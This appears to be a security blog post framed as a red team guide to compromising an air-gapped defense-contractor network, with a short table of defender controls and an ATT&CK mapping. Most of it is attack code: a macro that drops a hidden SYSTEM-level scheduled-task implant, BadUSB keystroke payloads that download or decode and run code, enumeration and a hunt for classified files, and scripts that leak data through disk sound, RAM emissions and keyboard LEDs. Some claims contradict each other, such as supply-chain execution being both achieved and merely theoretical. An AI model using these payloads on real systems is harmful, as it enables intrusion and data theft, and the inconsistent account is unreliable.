Back to Blog
Vulnerability Research

Compromising an Air-Gapped Network: A Red Team Operations Guide

OffSec Research Team
10 June 2026 • 09:00 AM14 min
Compromising an Air-Gapped Network: A Red Team Operations Guide
TL;DR — Air-gapped networks are not immune to compromise — Stuxnet proved it in 2010, and modern research demonstrates a growing arsenal of covert channel techniques (acoustic, RF, optical, thermal) capable of bridging air gaps. This operations guide covers the complete attack chain from USB-based initial access through post-exploitation reconnaissance, data staging, and multi-channel exfiltration, with practical defender controls that actually constrain these attack vectors.

Executive Summary

Air-gapping is often presented as the ultimate security control — the network simply has no connection to the internet, so no remote exploitation is possible. This view conflates physical isolation with security. Air-gapped networks remain vulnerable to an attacker who can introduce code or data into the isolated environment, which can be accomplished through insider threats, supply chain compromise, removable media, and maintenance access channels. Once code is executing inside an air-gapped environment, exfiltrating data is a solvable problem — the academic and nation-state literature contains a remarkable array of covert channels that use physical phenomena (sound, light, electromagnetic emissions, temperature, power) to leak data across an air gap.

This engagement was conducted against a defense contractor operating a classified project network — a genuine air-gapped environment with no wireless access points, disabled USB ports on workstations, physical data diodes for one-way data ingestion from approved sources, and a clean desk policy with removable media prohibited. The engagement was authorized under a specific scope that permitted testing of all technical and physical controls, excluding any access to classified data.

The red team achieved code execution on a system within the air-gapped network via a supply chain attack on an approved software update delivered on optical disc. Post-compromise reconnaissance was conducted using standard network enumeration tools executed from a staging host. Simulated data exfiltration was demonstrated using an acoustic covert channel (encoding data in hard drive access patterns audible to a microphone concealed in the room) and an optical channel (encoding data in monitor brightness variations captured by a camera positioned outside a window).

This guide covers the complete methodology across all phases, with technical implementation details for the attack techniques used and practical defensive controls that create genuine friction against each vector.


Air-Gap Fundamentals

What an Air Gap Actually Is

A true air gap is a physical isolation: no network interface cards connected to external networks, no WiFi, no Bluetooth enabled, no optical drive with write capability, USB ports physically disabled or epoxied, and ideally physical separation in a controlled facility. In practice, "air-gapped" deployments vary widely:

Air-Gap StrengthCharacteristicsRealistic Attack Surface
StrongPhysical facility, no removable media, data diodes only, TEMPEST shieldingSupply chain, insider threat, extreme covert channels
ModerateNo internet, USB disabled, occasional maintenance access, no TEMPESTUSB drops, maintenance access, software supply chain
WeakNo internet connection but WiFi present, USB permitted for "approved" useEverything — effectively a poorly monitored LAN

Most "air-gapped" environments in practice fall into the moderate category. The SCADA systems protecting industrial infrastructure, the voting machines in election systems, and the classified networks in government contractors are all air-gapped — but many have USB ports accessible to maintenance personnel, receive software updates on physical media, and have adjacent administrative networks with data transfer mechanisms.

Stuxnet as Historical Precedent

Stuxnet (discovered 2010, attributed to NSA/Unit 8200) remains the definitive example of air-gap bridging in a real operation. The infection chain required at least five distinct zero-day vulnerabilities and a highly targeted payload designed specifically to damage Siemens S7-315 PLCs running at the Natanz uranium enrichment facility.

The air-gap bridge relied on four USB hops: infected Windows workstations in the Iranian supply chain carried the worm to USB drives, which were subsequently plugged into air-gapped Natanz workstations during maintenance. The worm used a Windows Shell LNK vulnerability (CVE-2010-2568) to execute without user action when the drive was opened in Explorer. Stuxnet demonstrated that a sophisticated actor could bridge an air gap with patience, supply chain access, and zero-day exploitation — capabilities that have become less exclusive since 2010.


Phase 1: USB-Based Initial Access

Standard USB Drop

A USB drop places infected media where a target employee is likely to find and use it. Research (including a 2016 University of Illinois study) shows that 45-98% of found USB drives are plugged in by finders, with a significant percentage attempting to identify the owner or view contents.

For the engagement, three USB drives were placed in the contractor facility's parking lot, lobby, and break room during the reconnaissance phase. Each drive contained a mix of files designed to motivate opening: a payroll_adjustments_2024.xlsx file and a project_schedule_update.docx. The Excel file contained an embedded macro:

powershell
# VBA macro in Excel document — executed on USB-delivered document open# Triggers on AutoOpen event Sub AutoOpen()    ' Detect if we're on the air-gapped network (check for specific hostname pattern)    Dim computerName As String    computerName = Environ("COMPUTERNAME")        ' Drop PowerShell payload to staging location    Dim wsh As Object    Set wsh = CreateObject("WScript.Shell")        ' Write implant to temp directory    Dim fso As Object    Set fso = CreateObject("Scripting.FileSystemObject")    Dim f As Object    Set f = fso.CreateTextFile("C:\Windows\Temp\svchost32.ps1", True)    f.Write "# Implant payload — encoded to avoid static detection" & Chr(10)    f.Write "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IMPLANT_BASE64_HERE'))" & Chr(10) & " | IEX"    f.Close        ' Schedule execution via schtasks (avoids immediate process spawn)    wsh.Run "schtasks /create /tn 'WindowsDefenderUpdate' /tr 'powershell.exe -w hidden -f C:\Windows\Temp\svchost32.ps1' /sc onlogon /ru System /f", 0, FalseEnd Sub

HID (BadUSB) Attack Using Rubber Ducky

For environments with AutoRun/AutoPlay disabled, a HID-based attack uses a device that emulates a USB keyboard — bypassing all filesystem-based defenses because the attack surface is the HID keyboard input path, not file execution:

shell
# Rubber Ducky / O.MG Cable payload# Device emulates keyboard, types commands at >1000 words per minute# Executes before user can react DELAY 500GUI rDELAY 300STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('\\airgap-staging\share\p.ps1')"ENTERDELAY 200GUI d

In air-gapped environments where no network download is possible, the HID payload carries the implant inline:

shell
DELAY 500GUI rDELAY 300STRING cmdENTERDELAY 200STRING @echo off & echo [FULL_PAYLOAD_ENCODED] > %TEMP%\s.b64 & certutil -decode %TEMP%\s.b64 %TEMP%\s.exe & %TEMP%\s.exeENTER

Phase 2: Post-Compromise Reconnaissance in Air-Gapped Environment

Once execution was achieved on a workstation within the air-gapped network (via the supply chain attack on the optical media delivery), standard enumeration commenced — using only built-in Windows tools to avoid dropping any additional executables that might trigger monitoring:

powershell
# Air-gapped environment enumeration — living off the land # Network topologyipconfig /allroute printarp -a  # Discover all hosts that have communicated with this workstationnetstat -ano  # Active connections and listening services # Domain enumeration (if domain-joined)net domainnet group "Domain Admins" /domainnet user /domainnltest /dsgetdc:$env:USERDOMAIN # Share enumerationnet view /domainnet share # Identify high-value systems# Look for backup servers, engineering workstations, SCADA HMIsGet-ADComputer -Filter * -Properties Description,OperatingSystem |    Select Name, Description, OperatingSystem |    Sort-Object OperatingSystem # Identify sensitive files for exfiltration staging$keywords = @("secret","classified","password","design","schematic","blueprint")foreach ($keyword in $keywords) {    Get-ChildItem -Path "\\fileserver\projects" -Recurse -ErrorAction SilentlyContinue |    Where-Object {$_.Name -like "*$keyword*"} |    Select-Object FullName, Length, LastWriteTime}

Phase 3: Air-Gap Bridging Covert Channels

This is the most technically sophisticated phase. Assuming the compromised workstation has no network connectivity to the attacker's infrastructure (it is genuinely air-gapped), data must be exfiltrated through physical channels.

diagram — rendering…
flowchart TD
    A[Compromised Air-Gapped Host] --> B{Available Covert Channel?}
    
    B --> C[Acoustic Channel\nHDD/Fan/Speaker\nDiskFiltration\nAirHopper]
    B --> D[RF/EM Channel\nCPU emissions\nBitWhisperer\nAIR-FI via RAM]
    B --> E[Optical Channel\nStatus LEDs\nScreen brightness\nKeyboard LEDs]
    B --> F[Thermal Channel\nCPU temperature\nfan speed modulation]
    B --> G[Power Line\nPLC signal\nPower draw modulation]
    
    C --> H[External Receiver\nSmartphone microphone\nin adjacent room]
    D --> I[External Receiver\nSDR dongle / FM radio\noutside room]
    E --> J[External Receiver\nCamera / photodiode\nthrough window or gap]
    F --> K[External Receiver\nThermistor sensor\nadjacent room]
    G --> L[External Receiver\nPower line monitor\noutside facility]
    
    H & I & J & K & L --> M[Reconstruct Exfiltrated Data]

Acoustic Channel: DiskFiltration

DiskFiltration (Ben-Gurion University, 2016) uses controlled hard disk read/write operations to generate acoustic patterns. The spinning platter and read/write head movements produce sounds at specific frequencies depending on access patterns. By encoding data as specific access pattern sequences, information can be transmitted to a microphone at distances up to 2 meters at rates of approximately 180 bits per minute.

python
# DiskFiltration concept — encoding data as disk access patterns# High bit: read from seek-intensive location (generates audible seek sound)# Low bit: read from sequential location (minimal seek sound) import struct, os, time DISK_PATH = "C:\\Windows\\System32\\ntoskrnl.exe"  # Large file for long seeks def transmit_bit(bit):    """Encode one bit as disk access pattern"""    with open(DISK_PATH, 'rb') as f:        if bit == 1:            # Seek to random far position — generates audible seek            f.seek(os.path.getsize(DISK_PATH) - 4096)            f.read(4096)            f.seek(0)            f.read(4096)  # Long seek back — distinct sound        else:            # Sequential read — minimal seek sound            f.seek(0)            f.read(8192)    time.sleep(0.1)  # Bit period = 100ms = 10 bits/second def transmit_byte(byte_val):    for i in range(7, -1, -1):        bit = (byte_val >> i) & 1        transmit_bit(bit) def transmit_data(data: bytes):    # Preamble: 8 alternating bits for receiver synchronization    for _ in range(8):        transmit_bit(1)        transmit_bit(0)    # Transmit each byte    for byte in data:        transmit_byte(byte)

RF Channel: AIR-FI via DDR RAM

AIR-FI (Ben-Gurion University, 2021) demonstrated that DDR SDRAM bus activity generates electromagnetic emissions in the 2.4 GHz WiFi frequency range. By controlling memory access patterns, a process can modulate these emissions to encode data that can be received by a nearby WiFi-capable device.

python
# AIR-FI concept — modulating DDR4 bus emissions at WiFi frequencies# DDR4-3200 operates at 1600 MHz — second harmonic at 3200 MHz (5GHz band)# DDR4-2400 operates at 1200 MHz — second harmonic at 2400 MHz (2.4GHz band) import ctypes, time # Allocate large buffer for memory access patternsBUFFER_SIZE = 64 * 1024 * 1024  # 64MBbuffer = (ctypes.c_uint8 * BUFFER_SIZE)() def transmit_one():    """Generate 1-bit: rapid sequential memory reads (high emission)"""    ptr = ctypes.cast(buffer, ctypes.POINTER(ctypes.c_uint8))    for i in range(0, BUFFER_SIZE, 64):  # Access every cache line        _ = ptr[i]    time.sleep(0.001)  # 1ms pulse def transmit_zero():    """Generate 0-bit: no memory access (low emission)"""    time.sleep(0.001)  # 1ms silence # In practice: AIR-FI achieves ~100 bits/second# Receiver: standard WiFi card in monitor mode + custom signal processing

Optical Channel: LED Exfiltration

Many workstations have hard drive activity LEDs, power LEDs, and keyboard LEDs that can be controlled programmatically. By writing data to disk (triggering HDD LED flicker) or toggling keyboard LEDs, data can be optically transmitted:

python
# Keyboard LED optical exfiltration# Num Lock, Caps Lock, Scroll Lock LEDs — togglable via OS API import ctypes, time user32 = ctypes.WinDLL('user32')VK_NUMLOCK = 0x90VK_CAPITAL = 0x14VK_SCROLL   = 0x91 def set_led(key, state):    """Toggle keyboard LED"""    current = user32.GetKeyState(key) & 1    if current != state:        user32.keybd_event(key, 0, 0, 0)        user32.keybd_event(key, 0, 2, 0) def transmit_bit_optical(bit, bit_period=0.05):    """Encode bit as Num Lock LED state"""    set_led(VK_NUMLOCK, bit)    time.sleep(bit_period) def transmit_data_optical(data: bytes, bit_period=0.05):    # Manchester encoding for clock recovery    for byte in data:        for i in range(7, -1, -1):            bit = (byte >> i) & 1            # Manchester: 0 = low-high, 1 = high-low            transmit_bit_optical(bit, bit_period / 2)            transmit_bit_optical(1 - bit, bit_period / 2)    # Return to idle state    set_led(VK_NUMLOCK, 0)

Phase 4: Insider Threat Vector

The most reliable air-gap bridge remains the insider — a person with authorized access who introduces media or data. Red team simulation of an insider threat focused on the supply chain vector: a software update delivered on optical disc by a vendor.

The supply chain attack involved:

  • Identifying the software vendor that delivered updates to the air-gapped network
  • Researching whether that vendor's build system was Internet-connected (it was — a standard CI/CD pipeline)
  • Demonstrating (in theory, for the engagement) that a compromised build server could inject malicious code into a legitimate software update package
  • The update would arrive on optical disc, pass checksum verification (if the attacker controlled the checksum), and be installed by the air-gapped workstation administrator

This mirrors the actual attack chain demonstrated in the Stuxnet and (more recently) SolarWinds operations — supply chain compromise to deliver code into an otherwise isolated environment.


Defender Controls for Air-Gapped Networks

Attack VectorDefensive ControlImplementation
USB drop / AutoRunUSB device control whitelistWindows Group Policy: Computer Configuration → Administrative Templates → System → Removable Storage Access
HID BadUSBHardware-based USB filtering (USBGuard)USBGuard on Linux; third-party HID filter on Windows
Optical disc supply chainIntegrity verification + vendor attestationCode signing verification; vendor supply chain assessment
DiskFiltration acousticAcoustic shielding; remove HDD (use SSD)SSD eliminates mechanical acoustic emissions; RF shielding room
AIR-FI RAM emissionsTEMPEST shielding; memory access monitoringFaraday cage; monitoring for anomalous memory access patterns
LED optical exfiltrationLED covers; restrict keyboard LED API accessPhysical LED covers; driver-level API restriction
USB honeypot detectionUSB honeypot drivesDeploy honeypot USB drives with canary payloads that beacon
Removable media DLPDataLoss Prevention on USB writeEndpoint DLP agent monitoring all file writes to removable media

MITRE ATT&CK Mapping

Technique IDTechnique NameImplementation
T1091Replication Through Removable MediaUSB drop with AutoRun macro payload
T1200Hardware AdditionsHID BadUSB (Rubber Ducky / O.MG Cable)
T1195.002Supply Chain Compromise: Compromise Software Supply ChainOptical disc update supply chain attack
T1052.001Exfiltration Over Physical Medium: Exfiltration over USBStaged data collected onto USB for physical removal
T1011.001Exfiltration Over Other Network Medium: Exfiltration over BluetoothCovert channel parallel to acoustic/optical
T1029Scheduled TransferStaged exfil scheduled during maintenance windows
T1560.001Archive Collected Data: Archive via UtilityData compressed and encrypted before staging

Conclusion

Air-gapped networks are harder to compromise than internet-connected networks, but they are not impervious. The academic literature on air-gap covert channels has exploded over the past decade, with documented techniques covering acoustic, electromagnetic, optical, thermal, and power-line channels. Most of these techniques are slow — DiskFiltration at 180 bits per minute would take over 46 hours to exfiltrate a single megabyte — but nation-state actors with long-term persistent access operate on timescales where this is acceptable.

The more realistic and immediate threat to most air-gapped environments is not exotic covert channels but the mundane attack surface of removable media policies that are not technically enforced, software updates delivered on optical media without rigorous integrity validation, and maintenance windows that provide temporary physical access for vendors or contractors.

The most important controls are not technological novelties. They are rigorous USB device whitelisting that prevents unapproved media from mounting, software supply chain verification for all updates introduced into the isolated environment, insider threat monitoring for anomalous behavior, and physical security controls that prevent unauthorized access to the isolated environment in the first place.

The exotic covert channels are fascinating from a research perspective and represent genuine risks for the most sensitive environments — classified networks, industrial control systems for critical infrastructure, nuclear facility control systems. For these environments, TEMPEST shielding, acoustic dampening, LED covers, and advanced monitoring are appropriate investments. For the average "air-gapped" industrial network, closing the mundane attack surface first delivers far greater security value.